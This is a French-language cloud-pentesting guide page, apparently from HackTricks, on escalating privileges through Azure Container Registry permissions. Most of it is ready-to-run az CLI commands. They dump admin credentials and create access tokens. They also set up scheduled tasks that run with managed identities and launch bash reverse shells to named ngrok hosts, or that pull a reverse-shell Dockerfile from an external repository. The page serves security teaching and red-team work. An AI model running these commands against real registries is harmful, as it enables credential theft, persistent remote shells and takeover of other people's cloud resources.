# Az - Azure Container Registry Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Azure Container Registry

Pour plus d'informations, consultez :

{{#ref}}
../az-services/az-container-registry.md
{{#endref}}

### `Microsoft.ContainerRegistry/registries/listCredentials/action`

Cette permission permet à l'utilisateur de lister les identifiants d'administration de l'ACR. Cela est utile pour **obtenir un accès complet** au registre.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
```
Dans le cas où les identifiants administratifs ne sont pas activés, vous aurez également besoin de la permission `Microsoft.ContainerRegistry/registries/write` pour les activer avec :
```bash
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
```
### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action`

Ces permissions permettent à l'utilisateur de **créer un nouveau token** avec des mots de passe pour accéder au registre.

Pour utiliser `az cli` pour le générer comme dans l'exemple suivant, vous aurez également besoin des permissions `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, `Microsoft.ContainerRegistry/registries/tokens/read`
```bash
az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin
```
### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action`

Ces permissions permettent à l'utilisateur de **construire et exécuter une image** dans le registre. Cela peut être utilisé pour **exécuter du code** dans le conteneur.

>[!WARNING]
> Cependant, l'image sera exécutée dans un **environnement isolé** et **sans accès au service de métadonnées**. Cela signifie que le conteneur n'aura pas accès aux **métadonnées de l'instance**, donc cela n'est pas vraiment utile pour élever les privilèges.
```bash
# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
```
### `Microsoft.ContainerRegistry/registries/tasks/write`

C'est la principale autorisation qui permet de créer et de mettre à jour une tâche dans le registre. Cela peut être utilisé pour **exécuter un code à l'intérieur d'un conteneur avec une identité gérée attachée à celui-ci** dans le conteneur.

Voici un exemple de la façon d'exécuter un reverse shell dans un conteneur avec l'identité **gérée par le système** attachée à celui-ci :
```bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
```
Une autre façon d'obtenir un RCE à partir d'une tâche sans utiliser un dépôt externe est d'utiliser la commande `az acr task create` avec le drapeau `--cmd`. Cela vous permettra d'exécuter une commande dans le conteneur. Par exemple, vous pouvez exécuter un shell inversé avec la commande suivante :
```bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity
```
> [!TIP]
> Notez que pour attribuer l'identité gérée par le système, vous n'avez besoin d'aucune autorisation spéciale, bien qu'elle doive avoir été activée au préalable dans le registre et avoir reçu certaines autorisations pour être utile.

Pour attribuer une **identité gérée par l'utilisateur également**, vous auriez besoin de l'autorisation `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` pour faire :
```bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
```
Pour **mettre à jour** le dépôt d'une tâche existante, vous pouvez faire :
```bash
az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git
```
### `Microsoft.ContainerRegistry/registries/importImage/action`

Avec cette autorisation, il est possible d'**importer une image dans le registre azure**, même sans avoir l'image localement. Cependant, notez que vous **ne pouvez pas importer une image avec un tag** qui existe déjà dans le registre.
```bash
# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
```
Pour **démarquer ou supprimer un tag d'image spécifique** du registre, vous pouvez utiliser la commande suivante. Cependant, notez que vous aurez besoin d'un utilisateur ou d'un jeton avec **suffisamment de permissions** pour le faire :
```bash
az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>

az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>
```
{{#include ../../../banners/hacktricks-training.md}}
